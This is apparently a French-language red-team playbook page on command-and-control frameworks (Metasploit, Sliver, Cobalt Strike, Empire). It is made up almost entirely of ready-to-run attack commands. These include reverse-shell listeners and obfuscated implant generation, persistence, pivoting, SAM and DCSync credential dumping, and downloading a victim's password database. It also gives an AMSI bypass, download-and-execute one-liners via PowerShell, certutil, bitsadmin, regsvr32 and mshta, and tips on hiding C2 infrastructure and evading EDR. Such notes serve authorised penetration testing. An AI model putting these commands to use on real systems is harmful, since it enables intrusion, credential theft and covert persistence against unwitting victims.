c2command-controlmetasploit
MDstable
NoteSnippetChecklistPlaybook
C2 Frameworks — Command & Control
Metasploit, Sliver, Cobalt Strike — setup listener, beacon, pivoting, staging
playbookadvanced 2025-05-14 5 min read
c2command-controlmetasploitslivercobalt-strikebeaconpivotstagerpentest
Metasploit — Meterpreter
bash
Variables
{{LHOST}}
{{PID}}
# Configurer un listener persistantuse exploit/multi/handlerset PAYLOAD windows/x64/meterpreter/reverse_httpsset LHOST {{LHOST}}set LPORT 443set ExitOnSession falseexploit -j# Commandes Meterpreter essentiellessysinfo # OS, hostname, architecturegetuid # utilisateur courantgetsystem # tentative d'élévation SYSTEMps # liste des processusmigrate {{PID}} # migrer vers un processus cibleshell # shell interactifscreenshare # visualiser l'écran en directscreenshot # capture d'écran ponctuelle# Transfert de fichiersupload /local/path/file.exe CWindowsTempfileexedownload CUsersvictimDocumentspasswordskdbx /tmp/# Persistencerun persistence -X -i 10 -p 4444 -r {{LHOST}}# -X : démarrage automatique, -i : intervalle en secondes
Pivoting avec Metasploit
bash
Variables
{{SUBNET}}
{{MASK}}
{{SESSION_ID}}
# Ajouter une route vers le réseau interne via la session compromiseroute add {{SUBNET}} {{MASK}} {{SESSION_ID}}route print# SOCKS proxy pour tooling externe (proxychains)use auxiliary/server/socks_proxyset SRVPORT 1080set VERSION 5run -j# proxychains.conf : socks5 127.0.0.1 1080proxychains nmap -sT -Pn 19216810/24proxychains crackmapexec smb 19216810/24
Sliver C2 (open source, Go)
bash
Variables
{{LHOST}}
{{SESSION_ID}}
# Démarrer le serveur Sliversliver-server# Créer un listener mTLS (mutual TLS — traffic chiffré)mtls --lport 443# Générer un implant Windowsgenerate --mtls {{LHOST}}443 --os windows --arch amd64 --format exe --save /tmp/implant.exe# Générer un implant avec évasion (obfuscation de symboles)generate --mtls {{LHOST}}443 --os windows --arch amd64 --format exe --obfuscate --save /tmp/implant_obf.exe# Listener WireGuard (trafic ressemble à du VPN légitime)wg# Gestion des sessionssessionsuse {{SESSION_ID}}# Commandes dans une session Sliverinfo # infos systèmewhoami # identité couranteps # liste des processusls CUsers # listing répertoireexecute -o cmdexe /c whoami /all # exécuter une commandeupload /local/tool.exe CTemptoolexedownload Csecrettxt /tmp/
Pivoting avec Sliver
bash
Variables
{{LHOST}}
# SOCKS5 proxy via l'implantsocks5 start# Port forwarding vers un service interneportfwd add --remote 1921681103389 # RDP vers machine interne# Générer un implant de pivot (pour le réseau interne)generate --mtls {{LHOST}}443 --os windows --arch amd64 --format exe# Déployer sur une machine du réseau interne via l'implant actuel
Cobalt Strike (commercial)
bash
Variables
{{LHOST}}
{{PASSWORD}}
# Démarrer le Team Server/teamserver {{LHOST}} {{PASSWORD}} malleable_c2profile# Se connecter depuis le client graphiquejava -jar cobaltstrikejar# Créer un listener HTTPS avec profil Malleable C2# Listeners → Add → windows/beacon_https/reverse_https# HTTP Host Header : www.microsoft.com (domain fronting)# Profile : imiter le trafic Amazon S3, Azure, Microsoft
Commandes Beacon
bash
Variables
{{TARGET}}
{{TARGET_DOMAIN}}
# Gestion du beaconingsleep 30 10 # 30s d'intervalle ± 10% de jittersleep 3600 25 # 1h ± 25% (opérations red team longues)# Exécutionrun whoami # commande système via cmd.exepowershell Get-Processexecute-assembly /local/SharpHound.exe -c All # exécution in-memory .NET# Lateral movement depuis un Beaconjump psexec {{TARGET}} smb # PSExec via SMBjump winrm {{TARGET}} smb # WinRMremote-exec wmi {{TARGET}} calcexe # WMI exec# Post-exploitationhashdump # dump SAMlogonpasswords # équivalent sekurlsa::logonpasswordsdcsync {{TARGET_DOMAIN}} krbtgt # DCSync depuis Beacon
BOF — Beacon Object Files
bash
# Extensions légères en C compilées comme objet COFF# Exécutées in-memory dans le processus Beacon — pas de spawn de processus# Répertoire : https://github.com/trustedsec/CS-Situational-Awareness-BOFinline-execute /local/tools/whoami.o
Empire / Starkiller
bash
Variables
{{LHOST}}
{{AGENT_NAME}}
# Démarrer le serveur Empire/ps-empire server# Démarrer le client CLI/ps-empire client# Dans le client Empire :uselistener httpset Name http_listenerset Host http//{{LHOST}}set Port 80execute# Générer un stagerusestager windows/launcher_batset Listener http_listenerexecute# Après connexion d'un agent :agentsinteract {{AGENT_NAME}}usemodule situational_awareness/network/powerview/get_domain_controllerexecute
Obfuscation et évasion AV
bash
Variables
{{LHOST}}
# Encoder le payload msfvenommsfvenom -p windows/x64/meterpreter/reverse_https LHOST{{LHOST}} LPORT443-e x86/shikata_ga_nai -i 10 -f exe -o payloadexe# Obfuscation PowerShell — AMSI bypass# Plusieurs variantes (chercher "AMSI bypass 2024" — les signatures changent régulièrement)RefAssemblyGetType'System.Management.Automation.AmsiUtils'GetField'amsiInitFailed''NonPublic,Static'SetValue$null$true# Invoke-Obfuscation (obfusquer les scripts PS avant livraison)Import-Module Invoke-ObfuscationInvoke-Obfuscation -ScriptBlock IEXNew-Object NetWebClientDownloadString'http://{{LHOST}}/p.ps1' -Command TOKENALL1# Process injection — migrer vers un processus légitime# Dans Meterpreter : migrate vers svchost.exe, explorer.exe, lsass.exe# In-memory execution (.NET)execute-assembly /local/Rubeus.exe kerberoast /outfilehashestxt# Living off the Land Binaries (LOLBins)certutil -urlcache -split -f http//{{LHOST}}/payload.exe payloadexebitsadmin /transfer job /download /priority normal http//{{LHOST}}/p.exe CTemppexeregsvr32 /s /n /u /ihttp//{{LHOST}}/payload.sct scrobjdllmshta http//{{LHOST}}/shell.hta
Infrastructure C2 — Redirecteurs
bash
# Architecture recommandée :# Opérateur → Team Server (caché) ← Redirecteur (VPS exposé) ← Implant# Redirecteur Apache — mod_rewrite# /etc/apache2/sites-available/c2.conf :# RewriteRule ^/updates/(.*)$ http://TEAMSERVER_IP:443/updates/$1 [P,L]# RewriteRule ^/.*$ http://DECOY_SITE/$1 [R=302,L] ← traffic légitime → site leurre# Redirecteur nginx# location /api/ { proxy_pass https://TEAMSERVER_IP/api/; }# CDN Cloudflare devant le C2# → masque l'IP réelle du Team Server derrière les IPs Cloudflare# → trafic chiffré TLS jusqu'à Cloudflare, puis ré-encrypté vers le TS# Domain fronting (CDN-based)# HTTP Host: www.legitimate-cdn-tenant.com# SNI: redirect-domain.com# → le trafic sort vers un CDN légitime qui reroute vers le TS
💡 Tip —
Le sleep + jitter sont essentiels en opération red team : sleep 3600 25 (1h ± 25%) minimise la détection réseau basée sur le beaconing régulier. Les EDR modernes (CrowdStrike, SentinelOne) détectent les connexions régulières toutes les N secondes — varier l'intervalle et utiliser un profil Malleable C2 imitant du trafic légitime (Office365, Azure) réduit significativement la détectabilité.
OPS·BRAIN v1.075 notes · Securitylocal